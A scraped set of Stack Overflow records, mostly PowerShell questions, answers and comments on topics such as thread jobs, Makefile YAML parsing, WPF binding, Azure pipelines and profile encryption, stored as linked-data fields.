transfers? (ServerFault) for more info about this.
has comment: http://stackoverflow.com/comment/139657433
score: 2
has comment: http://stackoverflow.com/comment/139655547
type: Answer
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139671785
answers question: http://stackoverflow.com/q/79198075

http://stackoverflow.com/comment/139435966
has text: .. and if you want these values to become `Int64`, just do `$a = [int64[]]$process.Id`. What would be the point of creating a thousand item array and then trying to insert values into that afterwards?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79078234
score: 3

http://stackoverflow.com/a/79173864
type: AcceptedAnswer
downvote count: 0
has body: The PowerShell pipeline is inherently synchronous, so only one command in the chain can run at any given time (even using ForEach-Object -parallel the pipeline as a whole is still synchronous). With PowerShell (Core) 7+, you may implement an asynchronous producer/consumer pattern using a thread job and a thread-safe collection: # Create a thread-safe collection (queue) with an upper limit of 5 items $buffer = [Collections.Concurrent.BlockingCollection[int]]::new( 5 ) # Start producer as a background thread $job = Start-ThreadJob -ScriptBlock { 1..100 | ForEach-Object { Start-Sleep -Seconds 1 # simulate a slow operation ($using:buffer).Add( $_ ) } # Signal that we have finished using the buffer ($using:buffer).CompleteAdding() } # Consumer loop runs until producer thread calls CompleteAdding() and # the buffer is empty. while( -not $buffer.IsCompleted ) { # Fetch and output any new items from the buffer $item = 0 while( $buffer.TryTake( [ref] $item ) ) { Write-Host "Received: $item" } Write-Host "Press any key to fetch the next batch of items..." $null = $Host.UI.RawUI.ReadKey() } # Cleanup $job | Receive-Job -Wait -AutoRemoveJob $buffer.Dispose() The producer is allowed to enqueue a maximum of 5 items (as specified by the BlockingCollection constructor argument). If the queue is full, it has to wait until the consumer removes an item. Using the TryTake() method, the consumer won't block if there are no items in the queue. If there are items in the queue, it will remove each item and output it. Use the Take() method instead if you want the consumer to wait until a new item is in the queue. While the consumer blocks during the ReadKey() call, the producer thread is still able to enqueue new items. The using: prefix is necessary to reference the $buffer variable from inside the thread jobs script block.
type: Answer
answers question: http://stackoverflow.com/q/79172648
accepted answer of: http://stackoverflow.com/q/79172648
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139616992

http://stackoverflow.com/comment/139546555
type: Comment
score: 0
has text: Here is the sample output of the above command PS C:\Users\biswa> net view \\computername/all 2>&1 | select-object -Skip 5 | ?{$_ -match 'disk*'} | %{$_ -match '^(.+?)\s+Disk*'|out-null;$matches[1]} ADMIN$ C$ test55. From the above output I need to omit any shares that ends with $
comment on: http://stackoverflow.com/q/79138711
type: QuestionComment

curl
tags question: http://stackoverflow.com/q/79203992
tag name: curl
type: Tag
tags question: http://stackoverflow.com/q/79213205
tags question: http://stackoverflow.com/q/79470255

http://stackoverflow.com/q/79078578
type: Question
has body: Hi i have the followign PS script but the output is not how i would like to arrange it, can anyone pelase help get it right please. Its pollign a txt file for line with Name and Expire and i would like to dispaly this into a CSV with column heading of Name and Expire and have each name and expiry date int hat line to be stored : ID Name Expire ID1 Name1 01/11/2024 ID2 Name2 05/12/2025 ID3 Name3 04/12/2024 My current PS script : $txtFilePath = "C:\Reports\key.txt" $pattern1 = "id" $pattern2 = "names" $pattern3 = "expires" $extractedData = @() $lines = Get-Content -Path $txtFilePath foreach ($line in $lines) { if ($line -match $pattern1) { $id = $line -replace '.*id*', '' $extractedData += [pscustomobject]@{ 'Field' = '$line' 'Value' = $id } } elseif ($line -match $pattern2) { $expires = $line -replace '.*name*', '' $extractedData += [namepscustomobject]@{ 'Field' = 'name' 'Value' = $name } } elseif ($line -match $pattern3) { $Expiry = $line -replace '.*expires*', '' $extractedData += [pscustomobject]@{ 'Field' = 'Expiry' 'Value' = $Expiry } } } $extractedData | Format-Table -AutoSize $extractedData | Export-Csv -Path "C:\Reports\Results\output.csv" -NoTypeInformation Example of Key.txt: { "attributes": { "created": "2019-07-03T14:55:51+00:00", "enabled": true, "expire": "2299-12-25T07:28:38+00:00", "notBefore": null, "recoverableDays": 90, "recoveryLevel": "Recoverable", "updated": "2022-09-26T20:32:13+00:00" }, "contentType": "", "id": "https://prod-ukb2c-keyvault- ne.vault.azure.net/secrets/azure-log-analytics-workspace- customer-id", "managed": null, "name": "azure-log-analytics-workspace-customer-id", "tags": {} }, { Here is an extract from key.txt : }, "contentType": "text/plain; tfmanaged=true", "id": "https://prodtctkvne.vault.azure.net/secrets/prod-helios", "managed": null, "name": "prod-helios-ado-app-secret", "tags": {} }, { "attributes": { "created": "2023-12-07T09:52:56+00:00", "enabled": true, "expires": null, "notBefore": null, "recoverableDays": 90, "r…
has answer: http://stackoverflow.com/a/79091037
has comment: http://stackoverflow.com/comment/139436814
has comment: http://stackoverflow.com/comment/139450499
tagged with: powershell
has title: Powershell to organise output in a chart type
answer count: 1
has comment: http://stackoverflow.com/comment/139459357
score: 0
has comment: http://stackoverflow.com/comment/139471371
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139471475

http://stackoverflow.com/comment/139488100
score: 0
comment on: http://stackoverflow.com/q/79098831
has text: It also works if you do `$Script:MyList.ItemsSource = @(Get-Disk)` or use the [comma operator](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators?view=powershell-7.4#comma-operator-) `$Script:MyList.ItemsSource = ,(Get-Disk)`. Apparently the `.ItemsSource` always wants an array of type `System.Collections.IEnumerable`. I guess that is why they called it Item**s**Source instead of the singular ItemSource..
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79219476
type: Question
has comment: http://stackoverflow.com/comment/139697259
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/79220594
has comment: http://stackoverflow.com/comment/139697330
has body: Introduction I am trying to make Makefile read with the shell command a YAML file which is only 20 lines of code at most. The problem I am having is that it takes a long time to read the data from the YAML file. I asked several AI's, as at first I thought the powershell code was a bit slow, but the AI's told me it was because I was using the shell command too much and that it was adding a time overhead. They told me that the best way to solve it was to make a single shell call and the returned value will be used to set the rest of the values. I did this CONFIG := $(shell powershell ‘(Get-Content -Path “config.yaml” -Raw | ConvertFrom-Yaml)’) AS := $(CONFIG).assembly.assembler Problem The problem I had when I did that is that it didn't acquire the value and only the text entered. Objetive I tried many variants of the above code, but everything remained the same. Extra dates In the end I went back to the beginning and put in the following code AS := $(shell powershell ‘(Get-Content -Path “config.yaml” -Raw | ConvertFrom-Yaml).assembly.assembler’) LD := $(shell powershell ‘(Get-Content -Path “config.yaml” -Raw | ConvertFrom-Yaml).assembly.linker’) ASFLAGS := $(shell powershell ‘(Get-Content -Path “config.yaml” -Raw | ConvertFrom-Yaml).assembly.asflags’) LDFLAGS := $(shell powershell ‘(Get-Content -Path “config.yaml” -Raw | ConvertFrom-Yaml).assembly.ldflags’) The problem with this code is that it takes a long time to execute when you put make. I would like to make it run faster because when I did some tests, I noticed that it took about 2 - 3 seconds. Here's my config.yaml file System: Windows assembly: assembler: as linker: gcc ldflags: asflags: -Iinclude --64 cflags: -Wall -m64 directories: - src - lib - bin - scripts - include Summary of the problem To sum up, I want to get the values in the ‘Assembly’ part of my yaml file, but in a quick way as it takes too long to run my Makefile leaving the code as it is. Considerations I use the powershell-yaml module to read th…
has comment: http://stackoverflow.com/comment/139694531
accepted answer: http://stackoverflow.com/a/79220594
tagged with: powershell
has comment: http://stackoverflow.com/comment/139697337
has comment: http://stackoverflow.com/comment/139697370
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139693589
has comment: http://stackoverflow.com/comment/139694104
tagged with: makefile
score: 1
has comment: http://stackoverflow.com/comment/139697284
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/139694515
has comment: http://stackoverflow.com/comment/139693796
has title: How do I rewrite this shell command to call PowerShell only once, and still read my Yaml file in my Makefile?

http://stackoverflow.com/comment/139425375
comment on: http://stackoverflow.com/q/79072446
score: 1
has text: Since the problem occurs with _string literals_ in your _source code_, the likeliest explanation is that your script file is misinterpreted by the _Windows PowerShell_ engine, which happens if the script is saved as UTF-8 _without a BOM_ (this is no longer a problem in [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.me)). Try saving your script as UTF-8 _with BOM_. See the linked duplicate for details.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79069723
answer count: 0
tagged with: powershell
has title: Powershell script for monitor using LibreHardwareMonitorLib
score: 0
type: UnansweredQuestion
tagged with: monitor
has body: this script was working perfectly yesterday but today (after pc restart) all of a sudden stopped working. kinda working but only CPU usage and CPU E-Core average is posting, any other sensors not posting. and theres some difference between running manually and run by application like: powershell.exe -f monitor.ps1 # Load the LibreHardwareMonitorLib.dll $dll = "LibreHardwareMonitorLib.dll" # Unblock the DLL file Unblock-File -LiteralPath $dll # Load the DLL Add-Type -LiteralPath $dll # Create an instance of the Computer class from the DLL $computer = New-Object LibreHardwareMonitor.Hardware.Computer $computer.IsCpuEnabled = $true $computer.IsGpuEnabled = $true $computer.IsStorageEnabled = $true # Initialize the hardware monitoring $computer.Open() $targetCores = 7..10 # Iterate through the hardware to find the CPU and the corresponding power sensor while ($true) { #CPU TOTAL USAGE foreach ($hardware in $computer.Hardware) { if ($hardware.HardwareType -eq "Cpu") { $hardware.Update() foreach ($sensor in $hardware.Sensors) { if ($sensor.SensorType -eq "Load" -and $sensor.Name -like "CPU Total") { $cpuload = $([math]::Round($sensor.Value)) } } } } #CPU PACKAGE POWER foreach ($hardware in $computer.Hardware) { if ($hardware.HardwareType -eq "Cpu") { $hardware.Update() foreach ($sensor in $hardware.Sensors) { if ($sensor.SensorType -eq "Power" -and $sensor.Name -like "*Package*") { $cpup = $([math]::Round($sensor.Value)) } } } } #CPU PACKAGE TEMPERATURE foreach ($hardware in $computer.Hardware) { if ($hardware.HardwareType -eq "Cpu") { $hardware.Update() foreach ($sensor in $hardware.Sensors) { if ($sensor.SensorType -eq "Temperature" -and $sensor.Name -like "CPU Package") { $cput = $($sensor.Value) } } } } #E-CORE AVERAGE USAGE $totalLoad = 0 $coreCount = 0 foreach ($hardware in $computer.Hardware) { # Loop through each sensor in the hardware component foreach ($sensor in $hardware.Sensors) { # Check if the sensor is a load sensor and if it represents a CPU core if ($sens…
has comment: http://stackoverflow.com/comment/139427636
tagged with: windows
type: Question

http://stackoverflow.com/comment/139707428
has text: Thank you for the response. What if I am trying to run this code on a remote PC using WSManConnectionInfo?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179
type: Comment

http://stackoverflow.com/comment/139520320
score: 1
type: QuestionComment
type: Comment
has text: Instead of ```"AA" | yolo "BB"```, which uses *positional* parameters, try ```"AA" | yolo -bb "BB"``` which uses *named* parameters. Powershell binds values to the positional *and* named parameters before the pipeline - in your case the *positional* argument ```”BB”``` is being bound to parameter ```-AA``` so by the time it comes to binding the pipeline values there’s no unassigned parameters left with the ```ValueFromPipeline``` attribute. In ```"AA" | yolo -bb "BB"```, ```”BB”``` binds to parameter ```-bb``` so the pipeline value can still bind to ```-aa```.
comment on: http://stackoverflow.com/q/79124278

http://stackoverflow.com/comment/139723991
has text: Why you run `tree` command? What is the Error Message? Is it from `PowerShell@2` task? Is `Install-Module -Name SqlChangeAutomation` works fine? Do you using self hosted agent?
comment on: http://stackoverflow.com/q/79234361
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139452524
type: QuestionComment
type: Comment
has text: Sorry, I got myself confused in the original form of my answer. Please see my update, which contains instructions on how to determine the true download URL yourself, as well as command that uses it, which should work as-is.
comment on: http://stackoverflow.com/q/79076263
score: 0

http://stackoverflow.com/q/79183970
has answer: http://stackoverflow.com/a/79184006
has body: I am creating a pipeline and for some reason I can't access variables between steps. Everything is included within one job. I tried the isOutput=true flague, I also tried accessing variables by specifying their step name first but still did not work - see token01 at the end with error message as a comment. Here is my code: trigger: - master jobs: - job: RunTests pool: name: 'some_name' steps: - task: AzureCLI@2 inputs: azureSubscription: 'some_subscription' scriptType: 'ps' scriptLocation: 'inlineScript' inlineScript: | $password = az keyvault secret show --name "some_name123" --vault-name "keyvault_name" --query value -o tsv Write-Host "##vso[task.setvariable variable=SECRET_PASSWORD]$password" - powershell: | $env:SECRET_PASSWORD = "$(SECRET_PASSWORD)" cd src/AutomatedTests/PlaywrightTests npm install --verbose npm list --verbose npx playwright install chromium npx playwright test tests/getTokens.spec.js --project=chromium --reporter=list | tee playwright-output.log Get-Location $logContent = Get-Content "playwright-output.log" -Raw $token01 = '' $token02 = '' foreach ($line in $logContent) { if ($line -match 'TOKEN01:([^\s]+)') { $token01 = $matches[1] Write-Host "Found TOKEN01: $token01" } if ($line -match 'TOKEN02:([^\s]+)') { $token02 = $matches[1] Write-Host "Found TOKEN02: $token02" } } Write-Host "##vso[task.setvariable variable=token01;isOutput=true]$token01" Write-Host "##vso[task.setvariable variable=token02;isOutput=true]$token02" name: GetTokens displayName: 'test' - task: PublishBuildArtifacts@1 inputs: pathToPublish: 'src/AutomatedTests/PlaywrightTests/playwright-output.log' artifactName: 'PlaywrightLogs' publishLocation: 'Container' - powershell: | newman -v Write-Host "Token01: $(token01)" #token01 : The term 'token01' is not recognized as the name of a cmdlet, function, script file, or operable program. Write-Host "Token02: $(token02)"
accepted answer: http://stackoverflow.com/a/79184006
has title: Azure pipeline - powershell variables are not accessible between steps
type: Question
answer count: 1
tagged with: powershell
type: AnsweredQuestion
tagged with: azure-pipelines
score: 0
has comment: http://stackoverflow.com/comment/139630727

event-log
tags question: http://stackoverflow.com/q/79234274
type: Tag
tag name: event-log
tags question: http://stackoverflow.com/q/79239902
tags question: http://stackoverflow.com/q/79265704
tags question: http://stackoverflow.com/q/79248415
tags question: http://stackoverflow.com/q/79534301

http://stackoverflow.com/a/79162274
has comment: http://stackoverflow.com/comment/139593367
score: 1
accepted answer of: http://stackoverflow.com/q/79162118
has comment: http://stackoverflow.com/comment/139590001
upvote count: 1
has comment: http://stackoverflow.com/comment/139590023
has comment: http://stackoverflow.com/comment/139625768
type: AcceptedAnswer
has body: NEW SOLUTION, updated based on comments: use unused columns in the Database to store the Original Contract Number and pur a unique ID in the "Num Contrat" column. Comment the code in abundance to explain the shenaningan. OLD SOLUTION, not appliable to the live situation: To be clear: you want to *replace* the last two characters in the "Num Contract" field? At this point, just add a progressive while importing. $Counter = 0 $UniqueContractArray = $CsvPath | Import-Csv | Select-Object -Property 'matricule', 'Name', 'DateDebut', 'DateFin', 'ETP', @{ Name = 'Num Contract' Expression = { '{0}{1:d4}' -f $_.'Num Contract', $script:counter++ } } This way you mantain the original contract number(potentially useful) while also know the last N digits are to differentiate them same-numbered contracts. Replace the 4 in {1:d4} with how many digits you want\need or add more logic if you want to reset after some number(depending on how many same-numbered contracts you can expect, I guess)
has comment: http://stackoverflow.com/comment/139589983
has comment: http://stackoverflow.com/comment/139589670
answers question: http://stackoverflow.com/q/79162118
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139449483
type: AnswerComment
type: Comment
has text: If you manually run `C:\ProgramData\Microsoft\VisualStudio\Packages\Microsoft.VisualCpp.Redist.14,version=14.40.33816,chip=x86\VCRedistInstall.ps1`, can it work? Also, a similar issue:[this one](https://learn.microsoft.com/en-us/answers/questions/894782/microsoft-visualcpp-redist-14-version-14-32-31327)
score: 0
comment on: http://stackoverflow.com/a/79085150

motherboard
type: Tag
tag name: motherboard
tags question: http://stackoverflow.com/q/79191771

http://stackoverflow.com/comment/139476384
type: Comment
comment on: http://stackoverflow.com/a/79098857
score: 0
has text: Indeed simple, but how should I interpret this correctly? Is it correct to say that "I'm casting a *string* to a *character array*, which is then cast again to a *byte array*"? (What's the difference between a *string* and a *character array*?)
type: AnswerComment

http://stackoverflow.com/comment/139510684
comment on: http://stackoverflow.com/q/79118908
has text: What version of powershell? Roughly how many directories to purge each time? roughly how many files are in those directories? Where are the files stored (local disk, network disk etc)?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139498831
has text: You dont need to apply Exclude Features actually. Just use `Install-Language -Language da-DK`. Make sure to run this with elevated privileges.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79112307

http://stackoverflow.com/comment/139621051
score: 0
type: AnswerComment
type: Comment
has text: @mklement0 : The OP says he got wrong results. The OP did not say he wanted multiple screens. The windows forms method get multiple forms and that is why a loop is needed. My method does not use forms.
comment on: http://stackoverflow.com/a/79177773

http://stackoverflow.com/comment/139522118
type: QuestionComment
has text: For more information, see https://stackoverflow.com/a/55654837/45375
type: Comment
comment on: http://stackoverflow.com/q/79122136
score: 0

http://stackoverflow.com/comment/139425392
comment on: http://stackoverflow.com/q/79072446
has text: Aha. Saving it as UTF-8 w/ BOM was the fix. Does this mean the file that is output is now also UTF8 w/BOM as well?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139758661
score: 0
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment
type: Comment
has text: Thank you!!! only 1 more question on this (for now). Any way to specify OFFLINE for the computers that are not connecting? I tried various iterations of the {Name = 'User'... coding but can't get it to show.

http://stackoverflow.com/q/79207740
score: 0
tagged with: kiosk-mode
type: UnansweredQuestion
tagged with: powerpoint
tagged with: http://stackoverflow.com/tag/xml
tagged with: windows
answer count: 0
type: Question
has comment: http://stackoverflow.com/comment/139694160
has title: WIN 10 Kiosk PC using PowerPoint Viewer Not Working
tagged with: powershell
has body: So I am trying to use Kiosk Mode on a PC to display digital signage. We don't want to assign a license to the PC, so we are trying to use PowerPoint Viewer. I get the PC to launch into the Kiosk account automatically, but I am getting an error 0x0004005 error code. I used this tutorial: https://learn.microsoft.com/en-us/windows/configuration/assigned-access/quickstart-kiosk?tabs=ps And here is the code: $assignedAccessConfiguration = @" <?xml version="1.0" encoding="utf-8"?> <AssignedAccessConfiguration xmlns="http://schemas.microsoft.com/AssignedAccess/2017/config" xmlns:rs5="http://schemas.microsoft.com/AssignedAccess/201810/config" xmlns:v4="http://schemas.microsoft.com/AssignedAccess/2021/config"> <KioskModeApp v4:ClassicAppPath="%ProgramFiles(x86)%\Microsoft Office\Office14\PPTVIEW.EXE /> <v4:BreakoutSequence Key="Ctrl+Alt+Del" /> <AutoLogonAccount rs5:DisplayName="PPT Display Kiosk" /> <DefaultProfile Id="{EDB3036B-780D-487D-A375-69369D8A8F78}" /> </AssignedAccessConfiguration> "@ $namespaceName="root\cimv2\mdm\dmmap" $className="MDM_AssignedAccess" $obj = Get-CimInstance -Namespace $namespaceName -ClassName $className $obj.Configuration = [System.Net.WebUtility]::HtmlEncode($assignedAccessConfiguration) Set-CimInstance -CimInstance $obj

http://stackoverflow.com/q/79098831
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139488100
tagged with: data-binding
has comment: http://stackoverflow.com/comment/139474101
tagged with: powershell
has body: I have got this simple script : Add-Type -AssemblyName PresentationFramework [xml]$xaml = @" <ListBox.ItemTemplate> <TextBlock Text="{Binding FriendlyName}" /> </ListBox.ItemTemplate> "@ $AppWindow = [Windows.Markup.XamlReader]::Load((New-Object System.Xml.XmlNodeReader $xaml)) $xaml.SelectNodes("//*[@Name]") | ForEach-Object { Set-Variable -Name ($_.Name) -Value $AppWindow.FindName($_.Name) -Scope Script } # GUI Events $AppWindow.Add_Loaded({ $Script:MyList.ItemsSource = [array](Get-Disk) }) $OKBtn.Add_Click({ $Script:AppWindow.Close() }) $AppWindow.ShowDialog() | Out-Null It is working as expected when having two or more disks but shows nothing if I have got one disk only. If I remove the Binding, and have a simple list This works with one disk too. If I leave the ListBox as is, with the binding into the DataTemplate, this is working if I populate the ItemsSource with this command : $Script:MyList.ItemsSource = [array](Get-Disk | Select *) To summarize : $Script:MyList.ItemsSource = [array](Get-Disk) The lonely object is typed : $MyList.ItemsSource[0].GetType() CimInstance with $Script:MyList.ItemsSource = [array](Get-Disk | Select *) $MyList.ItemsSource[0].GetType() PSCustomObject So, I have replaced the first syntax with this one : $Script:MyList.ItemsSource = [pscustomobject[]](Get-Disk) this is working with one object only array, and the type is $MyList.ItemsSource[0].GetType() CimInstance Same as the first way with the [array] cast, weird... Note that this will be the same for other data types (eg. [array](Get-NetAdapter) and replace the binding with InterfaceAlias). But not for ActiveDirectory Module (eg. [array](Get-ADGroupMember MyOneMemberOnlyGroup) and replace the binding with SamAccountName. Any idea to share on why this occurs this way especially that this is working for some datatypes as ADGroup ? Thanks :)
has title: Weird WPF behavior with PowerShell
has comment: http://stackoverflow.com/comment/139499382
tagged with: wpf
score: 0
has comment: http://stackoverflow.com/comment/139474615
type: UnansweredQuestion

azure-log-analytics
type: Tag
tags question: http://stackoverflow.com/q/79244293
tag name: azure-log-analytics

http://stackoverflow.com/comment/139430408
comment on: http://stackoverflow.com/q/79075233
type: QuestionComment
type: Comment
score: 0
has text: ...it works! `docker compose up service1 service4` does the job. Just write it as an answer and I'll accept it.

http://stackoverflow.com/comment/139694720
has text: Glad to hear it, @Tika9o9; my pleasure.
type: AnswerComment
comment on: http://stackoverflow.com/a/79218880
type: Comment
score: 0

virtual-environment
tag name: virtual-environment
type: Tag
tags question: http://stackoverflow.com/q/79130831

http://stackoverflow.com/comment/139462923
type: QuestionComment
type: Comment
score: 0
has text: Could you include and confirm how you are assigning PIM Entra role to group?
comment on: http://stackoverflow.com/q/79091983

http://stackoverflow.com/comment/139544142
score: 1
type: QuestionComment
has text: Please read: [Why do we always prefer using parameters in SQL statements?](https://stackoverflow.com/questions/7505808/why-do-we-always-prefer-using-parameters-in-sql-statements)
comment on: http://stackoverflow.com/q/79137517
type: Comment

http://stackoverflow.com/a/79173166
has comment: http://stackoverflow.com/comment/139610094
has body: The regular expression [^all] does mean not (^) any occurrence of any of the letters, a,l or l. A shorter way to get the same is [^al]. But you want to match all, so you should add a +, which means 1 or more occurrence of these letters. $arr = 'It is all for you','It is for you' $arr | % {$_ -split '[^al]+ for'} output: It is all for you you But please note that a type like this will produce the same result: 'It is lal for you','It is for you' | % {$_ -split '[^al]+ for'} EDIT: To match all for OR for you can do: $arr = 'It is all for you','It is for you' $arr | % {$_ -split 'all for|for'} output: It is you It is you Or, when relying on powershell: $arr | % {$_ -split 'all for'} | % {$_ -split 'for'} EDIT2: Keeping It is all for you $arr = 'It is all for you','It is for you' $arr | % {$_ -split '^(It is all for you)|for'} output: It is all for you It is you
type: Answer
has comment: http://stackoverflow.com/comment/139610163
score: 0
answers question: http://stackoverflow.com/q/79173130
has comment: http://stackoverflow.com/comment/139610144

http://stackoverflow.com/comment/139432784
comment on: http://stackoverflow.com/q/79076344
type: QuestionComment
type: Comment
score: 0
has text: Try running `Get-CimInstance -ClassName Win32_Service | Select-Object -Property Name, startName`

http://stackoverflow.com/comment/139738531
score: 0
has text: @jajajf sure, give it a try. Queue<T> and Stack<T> are types designed for efficient recursion.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79244588

kiosk-mode
tags question: http://stackoverflow.com/q/79207740
tag name: kiosk-mode
type: Tag
tags question: http://stackoverflow.com/q/79165077

http://stackoverflow.com/comment/139624463
comment on: http://stackoverflow.com/q/79181031
score: 0
has text: Which PowerShell and .Net version? Besides: why using .Net classes instead of the native PowerShell commands [`Get-ChildItem`](https://learn.microsoft.com/powershell/module/microsoft.powershell.management/get-childitem) and [`Get-Item`](https://learn.microsoft.com/powershell/module/microsoft.powershell.management/get-item)?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139783971
comment on: http://stackoverflow.com/q/79244293
has text: can you provide that standard code document once here to verify in my environment. @GJ-Hardie
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139666088
has text: Why did you copy OP's question to your answer? Did you copied this to a LLM ?
type: Comment
comment on: http://stackoverflow.com/a/79204060
type: AnswerComment
score: 1

winforms
tags question: http://stackoverflow.com/q/79085306
type: Tag
tag name: winforms
tags question: http://stackoverflow.com/q/79134985
tags question: http://stackoverflow.com/q/79229639
tags question: http://stackoverflow.com/q/79189079
tags question: http://stackoverflow.com/q/79458567

http://stackoverflow.com/comment/139643955
type: AnswerComment
comment on: http://stackoverflow.com/a/79167760
has text: Hughes thanks much for your time. Its really helpful. As you suspected issue with the XML. Now it was working fine as expected after modified it. Marked your answer as right answer.
type: Comment
score: 1

http://stackoverflow.com/q/79069816
has title: How to use ANSI escape color with format-wide in PowerShell
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139423234
score: 3
has comment: http://stackoverflow.com/comment/139423179
tagged with: formatting
upvote count: 3
has comment: http://stackoverflow.com/comment/139423043
has comment: http://stackoverflow.com/comment/139422988
has body: I'm using PowerShell 7.4.5 and I want to customize it. If I usually use Get-ChildItem, ANSI escape color will be enabled. Result of execute Get-ChildItem: But when I try to pipe it to format-wide, it doesn't work well. Result of execute Get-ChildItem | Format-Wide In this result, directory highlighting is not working. I also want to keep $PSStyle.FileInfo adapted when displaying in format-wide. What should I do? I tried $PSStyle.OutputRendering = 'Ansi', but it didn't work.
favorite count: 0
has comment: http://stackoverflow.com/comment/139423099
has answer: http://stackoverflow.com/a/79071601
accepted answer: http://stackoverflow.com/a/79071601
type: Question
answer count: 1

administrator
type: Tag
tag name: administrator
tags question: http://stackoverflow.com/q/79204361
tags question: http://stackoverflow.com/q/79410051

http://stackoverflow.com/a/79124805
answers question: http://stackoverflow.com/q/79093007
type: Answer
accepted answer of: http://stackoverflow.com/q/79093007
score: 0
has body: You can now use the beta version of the MS Graph API and push a claims policy to the application. This will overwrite the claims in the Application's UI, but it also allows the claims to be queried & updated through both the API and UI afterwards. https://learn.microsoft.com/en-us/entra/identity-platform/reference-claims-customization Once you do so, this is what the output of a GET command is. { "@odata.context": "https://graph.microsoft.com/beta/$metadata#servicePrincipals('service_principal_id')/claimsPolicy/$entity", "@microsoft.graph.tips": "Use $select to choose only the properties your app needs, as this can lead to performance improvements. For example: GET servicePrincipals('<guid>')/claimsPolicy?$select=audienceOverride,claims", "id": "service_principal_id", "includeBasicClaimSet": true, "includeApplicationIdInIssuer": false, "audienceOverride": null, "groupFilter": null, "claims": [ { "@odata.type": "#microsoft.graph.samlNameIdClaim", "configurations": [ { "condition": null, "attribute": { "@odata.type": "#microsoft.graph.sourcedAttribute", "id": "mail", "source": "user", "isExtensionAttribute": false }, "transformations": [] } ], "nameIdFormat": "emailAddress" }, { "@odata.type": "#microsoft.graph.customClaim", "name": "emailaddress", "namespace": "http://schemas.xmlsoap.org/ws/2005/05/identity/claims", "tokenFormat": [ "saml" ], "samlAttributeNameFormat": null, "configurations": [ { "condition": null, "attribute": { "@odata.type": "#microsoft.graph.sourcedAttribute", "id": "mail", "source": "user", "isExtensionAttribute": false }, "transformations": [] } ] }, { "@odata.type": "#microsoft.graph.customClaim", "name": "RoleSessionName", "namespace": "https://aws.amazon.com/SAML/Attributes", "tokenFormat": [ "saml" ], "samlAttributeNameFormat": null, "configurations": [ { "condition": null, "attribute": { "@odata.type": "#microsoft.graph.valueBasedAttribute", "value": "test" }, "transformations": [] } ] } ] }
type: AcceptedAnswer

http://stackoverflow.com/a/79137368
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79136643
score: 0
accepted answer of: http://stackoverflow.com/q/79136643
has body: There are of course many ways to create some kind of menu. Here's two ideas for you: You could use Out-GridView to select the packages to install like this # create an array with all possible installs $allPackages = 'winrar', 'notepadplusplus', 'abaclient','firefox' | Sort-Object $selected = $allPackages | Out-GridView -Title 'Select Packages to install' -PassThru if (@($selected).Count) { $selected | ForEach-Object { choco install $_ } } else { Write-Host 'Nothing selected..' } Or you could create a selection form of your own like the one below that makes use of a CheckedListBox control: # create an array with all possible installs $allPackages = 'winrar', 'notepadplusplus', 'abaclient','firefox' | Sort-Object $selected = $null Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = [System.Windows.Forms.Form]::new() $form.Text = 'Select Packages to install' $form.Size = [System.Drawing.Size]::new(500,300) $form.StartPosition = 'CenterScreen' $form.FormBorderStyle = 'FixedDialog' $form.TopMost = $true # create a CheckedListBox control $checkedListBox = [System.Windows.Forms.CheckedListBox]::new() $checkedListBox.Location = [System.Drawing.Size]::new(20,20) $checkedListBox.Size = [System.Drawing.Size]::new(440,200) $checkedListBox.CheckOnClick = $true $checkedListBox.ClearSelected() # add the items to install to the list foreach ($package in $allPackages) { [void]$checkedListBox.Items.Add($package, $false) } $form.Controls.Add($checkedListBox) # Add a button to the form $okButton = [System.Windows.Forms.Button]::new() $okButton.Text = 'OK' $okButton.Location = [System.Drawing.Point]::new(20,230) $okButton.Add_Click({ # capture the chosen items in a variable and close the form $script:Selected = $checkedListBox.CheckedItems | ForEach-Object {$_.ToString()} $form.DialogResult = [System.Windows.Forms.DialogResult]::OK $form.Close() }) $form.Controls.Add($okButton) $form.AcceptButton = $okButton # display the form [void]$form.ShowDialog…

http://stackoverflow.com/q/79177495
tagged with: powershell
type: AnsweredQuestion
downvote count: 1
accepted answer: http://stackoverflow.com/a/79177514
score: 0
tagged with: securestring
has body: I have Powershell 5.x installed in my Windows 11 system. I have some secured keys stored in my Powershell $PROFILE global script for easy command-running for GitHub and stuff. Now I have successfully encrypted (and secured) the $PROFILE file and stored it at $PROFILE.cryptd path through this function: function Encrypt-Profile { # Paths for the profile file and the encrypted profile $ProfilePath = $PROFILE $CryptdProfilePath = "$PROFILE.cryptd" # Read the plaintext profile file $plainText = Get-Content -Path $ProfilePath -Raw # Convert the text into a secure string $secureString = ConvertTo-SecureString -String $plainText -AsPlainText -Force # Encrypt the secure string and convert it to a string representation $encryptedText = $secureString | ConvertFrom-SecureString # Save the encrypted text to a file Set-Content -Path $CryptdProfilePath -Value $encryptedText Write-Host "Profile encrypted and saved to $CryptdProfilePath" } But when I try to reverse steps in the Decrypt-Profile function, which is suppose to exactly reverse the above function and give back the plaintext decrypted $PROFILE at path $PROFILE.plaintxt, it instead throws error on the second line itself: ConvertTo-SecureString : Input string was not in a correct format. The Decrypt-Profile function 